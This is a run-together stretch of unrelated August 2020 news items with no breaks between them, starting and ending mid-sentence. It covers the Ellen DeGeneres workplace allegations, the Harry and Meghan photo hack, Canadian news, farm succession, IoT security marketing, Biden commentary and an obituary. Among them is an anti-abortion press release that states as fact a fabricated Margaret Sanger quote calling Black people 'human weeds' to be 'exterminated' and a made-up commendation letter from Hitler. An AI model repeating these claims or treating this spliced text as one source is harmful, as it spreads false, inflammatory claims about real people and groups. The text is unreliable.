couple seen here in January 2020 On Tuesday it was reported Ellen will come back to host her show's 18th season despite claims celebrities including Sean Hayes, Kristen Bell, Melissa McCarthy and Jennifer Aniston were being considered to replace her. A source close to The Ellen DeGeneres Show said 'no one is stepping in or taking over' as the investigation into the claims continue, NBC News reports. Ellen was reportedly joined by executive producers Andy Lassner, Mary Connelly and Derek Westervelt and senior staff members to 'address' the issues on Monday. Last week, Ellen issued a memo to her staff apologizing for the alleged behavior of senior crew behind-the-scenes. 'On day one of our show, I told everyone in our first meeting that The Ellen DeGeneres Show would be a place of happiness - no one would ever raise their voice, and everyone would be treated with respect,' she wrote. 'Obviously, something changed, and I am disappointed to learn that this has not been the case. And for that, I am sorry. Anyone who knows me knows it's the opposite of what I believe and what I hoped for our show.' Fallout: Portia's comments come amid news that the Ellen DeGeneres Show has seen some of the worst ratings in its 17-year history, as the presenter continues to be plagued by claims of a toxic work environment. Seen here in 2016 DeGeneres said she was unable to 'stay on top of everything' with her hosting duties and delegated to 'others to do their jobs as they knew I'd want them done. 'Clearly some didn't. That will now change and I'm committed to ensuring this does not happen again... I'm also learning that people who work with me and for me are speaking on my behalf and misrepresenting who I am and that has to stop.' She added: 'As someone who was judged and nearly lost everything for just being who I am, I truly understand and have deep compassion for those being looked at differently, or treated unfairly, not equal, or - worse - disregarded. To think that any one of you felt that way is awful to me.' Following the claims many celebrities have come out to publicly defend Ellen, including Scooter Braun, DJ/musician Samantha Ronson and her wife of 12 years de Rossi. Portia who posted a graphic on Instagram saying, 'I stand by Ellen' in what appeared to be an attempt to push public sentiment back in the corner of the talk show host. Bad words: Some stars have also cryptically come out against Ellen, including Everybody Loves Raymond star Brad Garrett [L, in 2018] and Back To The Future's Lea Thompson [R, in 2019] However some stars have also cryptically come out against Ellen, including Everybody Loves Raymond star Brad Garrett and Back To The Future's Lea Thompson. One of the show's former resident DJs Tony Okungbowa, known to viewers as DJ Tony, also spoke out about his experience working on the show. He wrote on Instagram: 'I have been getting calls asking me about the Ellen Degeneres Show and I would like to address the time I spent there. 'I was on air talent from 2003-2006 and from 2007 -2013. While I am grateful for the opportunity it afforded me, I did experience and feel the toxicity of the environment and I stand with my former colleagues in their quest to create a healthier and more inclusive workplace as the show moves forward.' A source told the New York Post that the talk show host has been 'crushed,' 'devastated' and 'hysterical' following calls for her to leave the show ahead of its 18th season premiere this September. 'She felt like everything she worked so hard for was falling apart,' the insider said. Executives: Ellen was reportedly joined by executive producers Andy Lassner [center], Mary Connelly [left] and senior staff members to 'address' the issues on Monday. Seen here in 2010 with Ed Galvin Sources told the publication that Ellen's career problems might stem from an incident last fall in which she was seen seen with former president George W. Bush watching a Dallas Cowboys home game against the Green Bay Packers. Her character also came under fire in late March after a series of tweets from comic Kevin T. Porter (linked to a charity drive for the Los Angeles Food Bank), who requested his followers post 'insane' tales of 'Ellen being mean,' which blew up on social media with much feedback. One current and ten former employees of the daytime chat show accused its three executive producers, Ed Glavin, Mary Connelly and Andy Lassner, of 'bullying.' The executive producers issued a statement saying: 'We are truly heartbroken and sorry to learn that even one person in our production family has had a negative experience.' Lassner also tweeted: 'Nobody is going off the air.' Jonathan Norman, a co-executive producer, is alleged to have 'groomed' a former employee by taking him to concerts and showering him with other gifts and perks before attempting to perform oral sex on him. Wheels coming off? DeGeneres said she was unable to 'stay on top of everything' with her hosting duties and delegated to 'others to do their jobs as they knew I'd want them done' Apology: The executive producers issued a statement saying: 'We are truly heartbroken and sorry to learn that even one person in our production family has had a negative experience' Kevin Leman, the show's head writer and executive producer, is alleged to have solicited oral sex from an employee. Others say they witnessed Leman grope another colleague. And Ed, an executive producer, allegedly 'had a reputation for being handsy with women,' according to former employees. Leman and Norman have denied all allegations. Glavin has not addressed the claim publicly yet but is stepping down from his position, according to Variety. Warner Bros., the studio that runs the show, has declined to comment on the sexual harassment allegations, citing an ongoing internal investigation. Multiple staff members at the show have also told DailyMail.com they are not buying Ellen's apology and are calling on her to call it quits. One staffer said, 'She's only addressing this now because the publicity is so bad for her and her BS brand of happiness and kindness. Ellen can throw everyone else under the bus, but the buck stops with her. 'Whenever she'd tell viewers to choose kindness, I'd throw up a little in my mouth because she always chose the opposite,' they added. Statement: One of the show's former resident DJs Tony Okungbowa, known to viewers as DJ Tony, also spoke out about his experience working on the show Statement: 'I was on air talent from 2003-2006 and from 2007 -2013. While I am grateful for the opportunity it afforded me, I did experience and feel the toxicity of the environment'. Tony seen here in 2013 A BuzzFeed News' July 16 expose revealed claims made by one current and 10 former employees of Ellen's talk show accused Lassner, Connelly and executive producer Ed Glavin of bullying. The current and former staff said that they experienced racism, fear and intimidation while working on the long-running series and said that Ellen should have stepped in on their behalf. The show then faced additional accusations about sexual misconduct, lobbed on July 30 in another BuzzFeed News article, in which dozens of men and women named show producers Kevin Leman, Glavin and Jonathan Norman with alleged incidents of sexual harassment, misconduct or assault. Among the allegations was one made by a black woman who claimed she suffered a number of 'microaggressions,' her request for a raise was ignored and she was accused of 'walking around looking resentful and angry' after asking for staff members to undergo diversity and inclusion training. Another former employee alleged they were fired after taking medical leave for one month following a suicide attempt. Our source said: 'She was happy to put her name on the show, yet she let those three executive producers do whatever they wanted. The fish rots from the head and Ellen and the three of them are now rotting.' They also claimed Ellen and her executive producers will be on a 'witch hunt' now to find who spoke out against them. 'Don't think for a second that there won't be a witch hunt to find out who went public with the worst kept secret in television,' they said. 'Ellen is mean. She'll want vengeance for all of this coming out.' With its smooth economic reopening and now one of the lowest coronavirus infection rates in Europe, Italy would seem to have as good a chance as any nation in the West of pulling off a safe school year. But the run-up to its planned Sept. 14 school start has provided a reminder that in the coronavirus era, even such mundane considerations as furniture can complicate educators plans. Planned Parenthood Confesses: Margaret Sanger was a Racist! NEWS PROVIDED BY LEARN Northeast Aug. 11, 2020 EAST ORANGE, N.J., Aug. 11, 2020 /Standard Newswire/ -- The following is submitted by Rev Dr. Clenard H. Childress Jr.: The Rev Dr. Martin Luther King stated, "The negro cannot win if they choose to sacrifice their children for immediate comfort and safety." Margaret Sanger stated, "it shows us that we are paying for and even submitting to the dictates of an ever increasing, unceasingly spawning class of human beings who never should have been born at all." The Rev Dr. King stated, "The early Church put an end to such evils as gladiator contest and INFANTICIDE." Margaret Sanger stated, "The most merciful thing a large family does to one of its infant members is to kill it." We have allowed the foundations to be removed and we have forgotten the dream but "Truth Crushed To Earth Shall Rise Again." Well it's taken some time but with the current racial climate and a lawsuit pending from their own minority employees charging Planned Parenthood with systemic racism and bigotry, the NYC Chapter of Planned Parenthood finally confessed what we have known for decades. Margaret Sanger was a racist. It should not have been so hard to come to this conclusion with documented collaboration with Adolf Hitler's Third Reich and a letter of commendation from the Furor himself thanking her for her tutelage. Yes, I said tutelage, Margaret Sanger tutored the most renown racist regime known to modern man. Confession should have come easy and long ago. Karen Seltzer, the Board Chair of Planned Parenthood of Greater New York said in a statement, "The removal of Margaret Sanger's name from our building is both a necessary and overdue step to reckon with our legacy and acknowledge Planned Parenthood's contributions to historical reproductive harm within communities of color. Margaret Sanger's concerns and advocacy for reproductive health have been clearly documented, but so too has her racist legacy. There is overwhelming evidence for Sanger's deep belief in eugenic ideology, which runs completely counter to our values at PPGNY. Removing her name is an important step toward representing who we are as an organization and who we serve." It was just a few years ago they were giving out the Margaret Sanger award and now they say she is completely counter to our values at Planned Parenthood??? Planned Parenthood has never stopped being Planned Parenthood since its inception. The Birth Control League changed its name to Planned Parenthood in 1945 when the heat was on globally concerning eugenics due to the exposure of the horrific deeds of the Third Reich. Planned Parenthood never stopped practicing the targeting of African Americans and minorities for sterilization and abortion. As Margaret Sanger stated, "Colored People are human weeds and they need to be exterminated." The deliberate placement of their clinics in African American neighborhoods has never ceased since the first one in Brooklyn in 1916. The targeting of minorities is undeniable, but they managed to continue unscathed because of a dishonest media and white elitist influence over Black Leadership. Jessie Jackson once said "abortion is Black Genocide, What happens to a mind of a person and the moral fabric of a nation that can abort a baby without a pang of conscience? Where will we be 20 years from today?" I guess that the real question was, "Where would you be?" It would appear your moral fabric has been torn to shreds like the babies in the womb you and other African American leaders betrayed. You also betrayed your mentor the Rev Dr. Martin Luther King who taught you that "Infanticide was evil." Black Lives Matters without question will denounce Margaret Sanger as a racist. I am sure Black Lives Matter will undoubtedly break off all collaboration with Planned Parenthood. Black Lives Matters will now make sure that all statues and bust (The Smithsonian Portrait Gallery in Washington DC) and street signs will be removed bearing Margaret Sanger's name. I am also sure that Black Lives Matter will demand that Hillary Clinton and Nancy Pelosi return the Margaret Sanger Award IMMEDIATELY since it has been admitted through careful search of Margaret Sanger's history the documented bigotry and racism! Its what we would expect from Black Lives Matter, right? I am also sure no African American elected official will speak at fund raisers bearing the name Planned Parenthood. We must now all be conscious that the leading killer of African Americans is abortion and its chief facilitator is Planned Parenthood. Planned Parenthood was founded on the principles of eugenics. "More of the fit less of the unfit." Unfortunately by their own admission they deemed people of color unfit just because of their color. Thus to date over 21, MILLION African Americans have been killed by abortion since 1973. 52% of all African American pregnancies end in Abortion. An African American woman is 5 times more likely to abort than her Caucasian counterpart. Yes it's a sociological fact, "The most dangerous place for an African American to be is in the womb of their African American mother" Where do we go from here? Russian hackers stole 'hundreds' of Prince Harry and Meghan Markle's personal photos including snaps of the Queen at their wedding in a security breach, according to the bombshell biography Finding Freedom. The Duke, 35, and Duchess of Sussex, 39, say they were not interviewed for the book and did not contribute to the tale by authors Omid Scobie and Carolyn Durand, which provides a high level of personal detail and a dramatic account of the events leading up to the Sussexes' departure from royal life. A source told the authors that the data leak was a 'wake up call' for the couple after hackers were able to steal photos taken by wedding photographer Alexi Lubomirski in September 2018, after gaining access to an online account set up to hold photos of the couple. Among those stolen were unseen photos of Harry and Meghan and the Queen taken at their wedding, some of which were leaked online, though they were dismissed as fake. Russian hackers stole 'hundreds' of Prince Harry, 35, and Meghan Markle's, 39, personal photos, including snaps from their wedding, in a major security breach, according to new biography Finding Freedom The authors wrote:' On September 12 2018, a computer programmer based in Russia managed to hack an online cloud storage account that contained over two hundred unseen photos of Harry And Meghan that had been taken by the photographer Alexi Lubomirski. 'Among the stole images were pictures of the couple sharing personal moments during their engagement photo series as well as others from their wedding day reception( including some of the Queen). 'The large set also included outtakes with eyes half closed and other unflattering moments meant for the trash can. 'The hacker leaked a handful of photos to Tumblr ( photo sharing site). According to Omid Scobie and Carolyn Durand, the Duke and Duchess of Sussex felt the security breach was 'a wake up call' 'Many fans assumed they were fake, photo shopped images but behind the scenes there was concern at Kensington Palace when they received a tip about the security breach. 'Harry and Meghan were 'alarmed to hear that it was so easy to get such personal files of theirs'. Only a handful of the official wedding photographs were eventually released. It's unclear if this was a separate leak to a later security breach reported in June 2019 when hackers reportedly gained access to Alexi's computer. Last summer, it was reported that New York based fashion photographer Alexi Lubomirski's computer had been hacked. Photographs stolen by the hackers included personal photographs from the couple's engagement shoot The photographer is famed for his portraits of leading ladies added the requisite touches of both Hollywood glamour and royalty to Harry and Meghan's official wedding photos. The 43-year-old has also snapped the likes of Natalie Portman, Jennifer Lopez and Scarlett Johansson. It was reported that he was alerted after his images were stolen by hackers, some of which included those of Harry and Meghan on their wedding day. They are said to include some which show Harry hugging Meghan with his eyes closed. The revelations were made in the explosive new biography Finding Freedom She is seen beaming for the camera in the picture. Mr Lubomirski also took the couple's engagement photographs in December 2017. At the time, Mr Lubomirski - who has previously worked with photographer Mario Testino, a favourite of Prince William and Princess Diana - described taking the pictures in Berkshire as 'an incredible honour'. And when he was announced as the official wedding photographer, said: 'I could not be more thrilled or honoured to photograph this historic occasion. 'Having taken Prince Harry and Ms Markle's engagement photos, it brings me such joy to be able to witness again, the next chapter in this wonderful love story.' And speaking after the event, he said: 'It has been an incredible honour and privilege to document The Duke and Duchess of Sussex's inspiring journey of love, hope and family; from the engagement photos, all the way through to the official wedding and family portraits on Saturday. 'This has been a beautiful chapter in my career and life, that I will happily never forget'. It was reported last June that photographer Alexi Lubomirski's computer had been hacked, with images released on Twitter and Instagram (pictured, at the wedding in Windsor in May 2018) The photographer has the title His Serene Highness Prince Alexi Lubomirski. He is descended from an influential Polish family who received the hereditary title of prince of the Holy Roman Empire from Emperor Ferdinand III in the 17th century. Mr Lubomirski, who was born in England but now lives in New York, was given his first camera aged 11 by his stepfather. In The News is a roundup of stories from The Canadian Press designed to kickstart your day. Here is what's on the radar of our editors for the morning of Aug. 11. Hey there, time traveller! This article was published 11/8/2020 (526 days ago), so information in it may no longer be current. This photo from helicopter video posted by the California Highway Patrol shows part of a confrontation between an elderly couple, at left, with an unidentified man between them, and a cow and her calf, that required the intervention of the CHP in Fairfield in Northern California on Sunday, Aug. 9, 2020. Authorities said on Facebook that the unidentified couple had fallen to the ground after a cow gave chase to them in the Lynch Canyon Regional Park. They were hoisted into a helicopter to elude the angry bovine. THE CANADIAN PRESS/California Highway Patrol via AP In The News is a roundup of stories from The Canadian Press designed to kickstart your day. Here is what's on the radar of our editors for the morning of Aug. 11. What we are watching in Canada ... Two federal cabinet ministers and the country's top public servant will be grilled today about how a charity with close ties to Prime Minister Justin Trudeau wound up administering a $912-million student grant program. The House of Commons ethics committee is scheduled to hear from Youth Minister Bardish Chagger, Employment Minister Carla Qualtrough and Ian Shugart, clerk of the Privy Council. The committee is ostensibly conducting a review of the existing safeguards in place to prevent conflicts of interest when the federal government is deciding how to spend taxpayers' dollars. But opposition MPs are sure to focus more pointedly on the government's agreement with WE Charity to administer the grant program, which had been intended to encourage students to engage in summer volunteer work related to the COVID-19 pandemic. Chagger was the minister responsible for the program, which has now been abandoned after becoming mired in controversy. Qualtrough is in charge of the department whose public servants concluded they were not capable of delivering the program and who, according to the government, recommended that WE Charity was the only group capable of delivering it. Trudeau and Finance Minister Bill Morneau, who also has close family ties to WE Charity, are both under investigation by the federal ethics commissioner. Both have apologized for failing to recuse themselves when cabinet approved the recommended agreement with the charity. --- Also this ... A new opinion survey suggests Donald Trump's recent decision to slap a tariff on Canadian raw aluminum is garnering poor reviews on both sides of the border. In a web survey conducted by polling firm Leger and the Association for Canadian Studies, 58 per cent of American respondents said they disagreed with the 10 per cent import tax. In what comes as less of a surprise, 90 per cent of Canadians who took part in the survey objected to the White House's tariff. The survey was conducted Aug. 7 to 9 among 1,513 Canadians and 1,003 Americans, 18 or older, who were recruited from an online panel. Since polls created from internet panels are not random samples, the survey cannot be assigned a margin of error. The polling firm says that using data from the 2016 census, results were weighted according to age, gender, language spoken, region, level of education and presence of children in the household in order to ensure a representative sample of the population. --- ICYMI (in case you missed it) ... A confrontation between an elderly couple and a cow and her calf required the intervention of the California Highway Patrol in Northern California this weekend. Authorities said on Facebook that the unidentified couple had fallen to the ground after a cow gave chase to them in the Lynch Canyon Regional Park. They were hoisted into a helicopter to elude the angry bovine. In a minutes-long video taken by highway patrol mid-air, a cow and calf are seen standing feet away from the couple on the barren trail. As the chopper hovers above the site, the cow is seen rearing its head and bellowing, while the calf stands nearby. Highway patrol succeeded in moving the cow by sounding the helicopter's alarm, CHP wrote in a Facebook post. Officials lifted the couple 75 feet (22.8 metres) into the air and transported them to a hospital to treat their injuries. There was no word on what happened to the mother cow or her calf. --- What we are watching in the U.S. ... President Donald Trump was abruptly escorted by a U.S. Secret Service agent out of the White House briefing room as he was beginning a coronavirus briefing Monday afternoon. He returned minutes later, saying there was a "shooting" outside the White House that was "under control." "There was an actual shooting and somebody's been taken to the hospital," Trump said. The president said the shots were fired by law enforcement, saying he believed the individual who was shot was armed. "It was the suspect who was shot," Trump said. Trump said he was escorted to the Oval Office by the agent. The White House was placed on lockdown following the incident. The shooting took place near 17th Street and Pennsylvania Avenue just blocks from the White House, according to two sources with knowledge of the situation who were not authorized to speak publicly about it. Law enforcement officials were still trying to determine the suspect's motive. The suspect was transferred to a local hospital, and the District of Columbia fire department said the man suffered serious or possibly critical injuries. Authorities were investigating whether the individual has a history of mental illness. Trump praised the work of Secret Service personnel for their work in keeping him safe. Asked if he was shaken by the incident, Trump asked reporters: "I don't know. Do I seem rattled?" --- What we are watching in the rest of the world ... Foreign Affairs Minister Francois-Philippe Champagne says Canada is "deeply concerned" by a violent crackdown following presidential elections in Belarus. Dozens of people have been injured and thousands detained in the country since Sunday's vote, with police brutally breaking up mostly young protesters. The protests came as Belarusian election officials said authoritarian President Alexander Lukashenko had won a sixth term in office with 80 per cent of the vote. Election officials say opposition challenger Sviatlana Tsikhanouskaya received 10 per cent of the vote, but she has dismissed the official results as a sham and requested a formal recount. The police crackdown drew harsh criticism from European capitals and will likely complicate Lukashenko's efforts to mend ties with the West amid tensions with his main ally and sponsor, Russia. Champagne said the police response "further eroded the democratic legitimacy of the vote," and he called for the results to reflect what Belarusians want for their country. --- Also this... Lebanon's prime minister stepped down from his job Monday in the wake of the catastrophic explosion in Beirut that has triggered public outrage, saying he has come to the conclusion that corruption in the country is "bigger than the state." The move risks opening the way to dragged-out negotiations over a new Cabinet amid urgent calls for reform. It follows a weekend of anti-government protests after the Aug. 4 explosion in Beirut's port that decimated the facility and caused widespread destruction, killing at least 160 people and injuring about 6,000 others. In a brief televised speech after three of his ministers resigned, Prime Minister Hassan Diab said he and his government were stepping down. "May God protect Lebanon," he said, repeating the last phrase three times. As he spoke, protesters demonstrated in the streets near parliament for a third straight day. The moment typified Lebanon's political dilemma. Since October, there have been mass demonstrations demanding the departure of the entire sectarian-based leadership over entrenched corruption, incompetence and mismanagement. But the ruling oligarchy has held onto power for so long since the end of the civil war in 1990 that it is difficult to find a credible political figure untainted by connections to it. --- This report by The Canadian Press was first published on August 11, 2020. Beef farmers worry about tax bills for a successor, but dairy farmers are more concerned about the impact of a divorce on their farm, according to a new study by Teagasc and NUIG. The study found that many beef farmers who highlighted taxation as a concern failed to avail of professional advice on the subject. Instead, they built their opinions on anecdotal evidence - which led to "a sensationalised perception of possible consequence". Dairy farmers worry about the potential loss of the farm through division of assets in the event of a successor's marriage breakdown. The study states: "Marriage was seen as a barrier to farm transfer something that is construed as a risk which may in certain circumstances constitute a reason to defer a farm transfer." While some dairy farmers sought to use a prenuptial agreement, these were found to have very little legal standing and to be insufficient to stop the break-up of a farm post-divorce. Taxation was not seen by the majority of dairy farmers as an issue when it comes to succession as many exhibited a more comprehensive knowledge of structures and reliefs associated with land transfer tax, which led to a more positive approach to farm transfer, the research found. Both beef and dairy farmers have concerns about income post-retirement. They raised concerns that if they were dependent solely on a contributory Irish state pension once the farm has been transferred, this would not provide enough income; 82pc of all farmers would be dependent on such a pension once their successor had taken over the farm. Dairy farmers are more likely to have a private pension. Both types of farmers worry about being unable to pay for nursing home stays when they get older. Many raised concerns about the Fair Deal scheme, fearing that they would have to sell the farm. The research found that direct payments were also an impediment to earlier farm transfer, with farmers able to receive them while only farming at a minimum level. The study on 'Risky business: Perceptions of economic risk in farm succession and inheritance' concludes: "In the absence of a means by which to protect the farm, farmers will continue to avoid engaging in farm transfer as a result of the uncertainty present and the perception of risk that it constitutes." Ensuring connectivity 24 hours a day, every day of the year, for your IoT security devices There is no denying that the COVID-19 pandemic has radically changed the way we work. In May 2021, 31% of the countries workforce was still working remotely, with 71% of businesses in professional, scientific, and technical industries remote-working. Work patterns shifting Although the conversation often focuses on office workers, the COVID-19 pandemic has impacted the way many other, non-office sectors operate. In the security industry, since the introduction of lockdowns and social distancing guidelines, the way businesses monitor sites has changed. While in the past, security guards would have patrolled the premises, companies are increasingly opting to use high bandwidth security, deploying CCTV to monitor sites - rather than people. At OV, we believe the only way to ensure CCTV is as trustworthy as a person, is to use a multi-network SIM in the device, ensuring connectivity 24 hours a day every day. Smart Surveillance Reliable video surveillance means deploying CCTV cameras with the Internet of Things (IoT) Switching to CCTV doesnt simply mean installing a camera on a wall. To ensure your site is monitored 24-hours a day, with real-time footage available to your staff, reliable video surveillance means deploying CCTV cameras with the Internet of Things (IoT). Smart surveillance not only reduces the need for a security officer on site, but also minimises the reliance on a member of staff continuously monitoring the CCTV footage. Instead, cameras connect to a centrally managed system, so if an emergency happens, it notifies the system. It then sends an instant alert to a designated person or the emergency services. This streamlines the typical monitoring process, removing possibilities of human errors and computer lags, increasing efficiency. And, equally as important, since the COVID-19 pandemic, it removes the reliance on in-person surveillance. Deploying IoT sensors across the site However, the role of a security guard is not always just to monitor and prevent crime. When stationed at a block of offices or flats, an officer often also monitors the premises, ensuring that everything is running smoothly, for example, checking for faults in entry systems and lifts. Though this technically sits with the maintenance team, losing a security guard in place of CCTV could risk losing another pair of eyes on the ground. This risk can be averted, if businesses also deploy IoT sensors across the site, connected to the same centrally managed system as the CCTV. Sensors send data collected in real time Sensors installed into lifts and door entry systems work in a similar way, sending data collected on the object in real time. If an error with the system arises, an instant alert will be sent, and maintenance can be scheduled immediately. Although smart solutions are on the rise, for some businesses, in-person security is still the best or the preferred option. Pre-pandemic, there may typically have been multiple security staff on-site, but to accommodate for social distancing guidelines and fewer people on the premise generally, security guards have increasingly worked solo. Wearable IoT devices for lone workers safety The wearable IoT devices have an emergency button and voice access installed Lone working, especially for security personnel, comes with its risks. When faced with emergencies, such as burglaries or violence, the risk of working alone is immediately heightened. To keep lone workers safe, businesses can provide staff with wearable IoT devices. The wearable IoT devices have an emergency button and voice access installed, so in the case of an urgent situation, the wearer can discretely press the button, and it will immediately alert the monitoring station, who will be able to hear what is happening at the incident location. Furthermore, wearable IoT devices can also monitor key health markers and regular movement, so if a worker either stops moving for a prolonged time, or their health markers suddenly change, an alert will immediately be sent to a pre-agreed contact, or the emergency services, to send out help instantly. Connectivity, the key to the seamless operation of IoT While this technology can protect businesses and staff, it can also help to remove instances of human errors, when inaccuracies can still occur. Ultimately, were handing the baton of trust over from person to tech. So, if smart technology is to perform as we expect it to, it must be connected to a reliable network. Connectivity is the key to the seamless operation of IoT, because without it, devices cannot work and losing connection for the security industry is not an option. A business needs to trust that security equipment will do its job, after all, the safety of their site and staff is in the hands of it. Multi-network SIM is the safest option Not only are multi-network SIMs the safest option for ensuring connectivity, but they are also invaluable To confidently trust in IoT, a multi-network SIM is the safest option. Using a single network means that if that provider experiences issues or outages, so will the equipment. Whereas, with a multi-network provider, if one network drops, it will simply switch to another in the area, in order to ensure reliable security 24 hours a day. Not only are multi-network SIMs the safest option for ensuring connectivity, but they are also invaluable, as the security industry assesses the short-term future of mobile connectivity. Whether it is the closing down of 2G and 3G networks, or the availability of new technologies, such as LTE-M or 5G, opting for a multi-network SIM is the best option available. Smart security solutions as reliable as the connected network Whatever the plans are of the individual networks, a multi-network SIM ensures that you can access older services, such as 2G and 3G, as long as any network continues to supply service, and get the newer technologies, such as LTE-M and 5G, as soon as the first network makes them available. Ultimately, smart security solutions are only as trustworthy as the network they are connected to. As businesses roll out new technologies that rely on connectivity 24 hours a day to perform their job, multi-network providers should be the only option considered and utilised. With a multi-network SIM in a CCTV device, businesses can be confident that their site is monitored and secure, every hour of every day. U.S. President Donald Trump is in serious political trouble. And if he doesnt turn things around quickly, hes going to be toast in the Nov. 3 presidential election. Hey there, time traveller! This article was published 11/8/2020 (526 days ago), so information in it may no longer be current. Opinion U.S. President Donald Trump is in serious political trouble. And if he doesnt turn things around quickly, hes going to be toast in the Nov. 3 presidential election. That leaves us with presumptive Democratic nominee, Joe Biden, as the so-called leader of the free world. So, what would a Biden foreign policy look like? More specifically, how would his presidency impact Canada-U.S. relations? On his campaign website, Biden talks about the United States charting a fundamentally different course for American foreign policy going forward. In particular, he highlights the need to restore U.S. moral leadership in the world by advancing human rights, terminating the Muslim travel ban (along with the separation of asylum-seeking families at the border) and emphasizing a commitment "to science and truth in government." In a recent article in the journal Foreign Affairs entitled "Why America Must Lead Again," Biden writes about the need "to salvage our reputation, rebuild confidence in our relationship, and mobilize our country and our allies to rapidly meet new challenges." He then goes on to state plainly: "As president, I will take immediate steps to renew U.S. democracy and alliances, protect the United States economic future, and once more have America lead the world." Biden has promised to renew Americas core values, to make the U.S. a shiny example to the world and to work to revitalize democratic states around the world (including America). Indeed, he wants to place democracy back on the global radar screen and to host a global "Summit for Democracy." On the trade side, Biden argues for enhancing U.S. competitiveness, removing trade barriers in the world and shunning any thought of trade protectionism. Hes a firm believer in negotiated trade deals, effective diplomatic interventions and global trade rules and institutions. With respect to China, he advocates working with like-minded U.S. allies "to confront Chinas abusive behaviours and human rights violations." While he is prepared to work with Beijing on confronting international challenges such as health pandemics, nuclear non-proliferation and climate change, he is not afraid to get tough with China. When it comes to the climate crisis, a Biden administration would embrace a leading role in combating this existential threat. As he notes pointedly: "If we dont get this right, nothing else will matter." Consequently, he pledges to re-join the Paris Climate Agreement, to push clean energy sources and to promote net-zero emissions by 2050. In terms of relations with Canada, Biden can only be an improvement as the bilateral relationship has reached its lowest point in several decades under Trumpism. The former Obama vice-president would be a breath of fresh air in Ottawa no doubt received with a collective sigh of relief in both the Prime Ministers Office (PMO) and Global Affairs Canada. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. I would expect things to be pretty uneventful (thankfully) with Biden and Justin Trudeau steadying the bilateral ship. For instance, were not likely to see any careless chatter from a U.S. president about sending troops to guard the Canada-U.S. border. In fact, there is the possibility that we could find ourselves neglected by a Biden administration that largely sees Canada as a loyal friend, trusted ally and problem-free neighbour. To be sure, not everything under a Biden White House would be smooth sailing on the Canada-U.S. front. There would be ongoing issues about low defence spending in Canada, continued squabbling over softwood lumber exports and sharp differences over the Northwest Passage and Arctic sovereignty in general. Perhaps the issue most likely to plague bilateral relations in the short term would be the seemingly never-ending dispute over the US$8-billion Keystone XL pipeline project. A Biden administration, like the former Obama administration, would likely move quickly to revoke the border-crossing permit for the oil pipeline out of concerns for climate change. That wont please folks in Ottawa and it will surely leave Premier Jason Kenney and Albertans with smoke coming out of their ears. Still, a Biden White House would be a good thing for the overall global community. Trade wars and tough talk about economic tariffs would be tamped down, multilateral institutions and military alliances would be viewed as assets and the U.S. will be far more engaged in international politics and world order under a Biden presidency. All of these things would, of course, be welcomed by Canada as well. Indeed, Biden would set in motion a certain return to normalcy, if you will, in Canada-U.S. relations. By that I mean that the childish name-calling, derogatory tweeting and blustery threats of retaliation on the part of the U.S. government would end. Instead, he would signal a revival of a long-standing diplomatic culture between the two countries that is, respectful dialogue, shared interests, "quiet diplomacy," evidence-based exchanges and general cross-border collaboration. And, to be honest, it cant come soon enough. Peter McKenna is professor of political science at the University of Prince Edward Island in Charlottetown. India's revised procurement rules are impacting multinational companies (MNCs) using regional headquarters in Hong Kong to set up operations or businesses in India. The government is examining the issue after the finance ministry was made aware of the matter, according to a report by The Economic Times. Ownership could be taken into account during the registration process, sources told the paper. Moneycontrol could not independently verify the story. "A number of these companies are not Hong Kong-based as each of these companies, in turn, is a 100 percent-owned subsidiary of UK, Europe or US-based companies. Thus, Hong Kong is just a pass-through country," said Ved Jain, past president of the Institute of Chartered Accountants told The Economic Times. The finance ministry on July 23 made amendments to the General Financial Rules 2017, and said companies from neighbouring countries should receive political and security clearance before bidding for public contracts in India. The ministry said it modified the norms "to enable imposition of restrictions on bidders from countries which share a land border with India on grounds of defence and national security". The revision in the rules was seen as a move to curb investments from China amid tensions along the Line of Actual Control (LAC). Since Hong Kong is a Special Administrative Region (SAR) of China, the norms apply to it by extension. John Brown, the street evangelist known as Jesus Man who often displayed 100 signs on Lakeshore Drive on Saturday afternoons, has died, his family said. Brown, 80, originally from Jamaica, began preaching nearly every Saturday on Lakeshore in 2001. His granddaughter, Kristen Hill, announced on Facebook that Brown died today. Brown was known for holding a microphone to his mouth and melodically chirping out a sermon in a Jamaican accent as cars drove by in front of the Sams Club and Walmart at the Lakeshore Drive/Lakeshore Parkway exit on Interstate 65 in Homewood. The reason why Im here is because God put me here, Brown once said in an interview with The Birmingham News. What is wrong with one righteous man in the street telling people about God? Im only a servant. Brown was often the subject of noise complaints to Homewood Police. Some complained, some heckled, and some found him charming, but whatever response he got, he kept preaching. People cuss me up, he said. Some come by and shake my hand. Brown would often show off his teeth, which he had embossed with gold letters that spell out the word Jesus. Brown featured a repertoire of 4-foot-wide signs and banners. I got 100 signs, he said. They declared such slogans as, If you love Jesus, honk; if you dont, pull over, and Make some noise for Jesus! Brown said people sometimes tried to quiet his right to free speech. A policeman came by and told me to leave, he said. Brown said he refused, in emulation of civil rights leader the Rev. Dr. Martin Luther King Jr. He said it was a public area, and he would preach there in exercise of his freedom of speech and freedom of religion. Ill go to jail, he said once. Im not leaving. They want to blame me for some accident that happened at the light. I didnt cause it. They want to blame me for something I didnt do. Brown said people who criticized his preaching had no faith. They go to church, but theres no God in them, he said. They want to put God in a closet and hide behind a religious name on a building. Jesus said go into all the world and preach the gospel. There is a real hell for those that turn their back on God. If I dont stand in the street and preach God, Im not worthy to be called a man of God. Brown said he was born in Jamaica, moved to Miami in 1962 and attended Bible school in New Jersey. He had been in Birmingham for 46 years. In 2003, two houses that Brown owned burned down. He said he was either a relative or landlord to 20 people living in them. I was not insured, he said. My Cadillac car, fully paid for, was burned up. I lost over $200,000, everything I had. In addition to rental income, Brown made money by doing odd jobs of remodeling and carpentry. Brown said he refused medical treatment for his Type 2 diabetes. When he was too ill to preach, he sometimes had family members preaching in his place. I make it by faith, he said in one interview, adding that people generally did not give him donations for his street preaching. Its not about money, he said. I aint got none. Brown told his doctors he wasnt worried about his health. I tell them Jesus will heal me and if he does not, then he is ready for me to come with him, Brown said. Either way is fine by me. WILMINGTON, Del. - Joe Biden named California Sen. Kamala Harris as his running mate, making history by selecting the first Black woman to compete on a major partys presidential ticket and acknowledging the vital role Black voters will play in his bid to defeat President Donald Trump. Hey there, time traveller! This article was published 11/8/2020 (525 days ago), so information in it may no longer be current. FILE - In this Tuesday, July 21, 2020, file photo, Democratic presidential candidate, former Vice President Joe Biden speaks at a campaign event at the Colonial Early Education Program at the Colwyck Training Center, in New Castle, 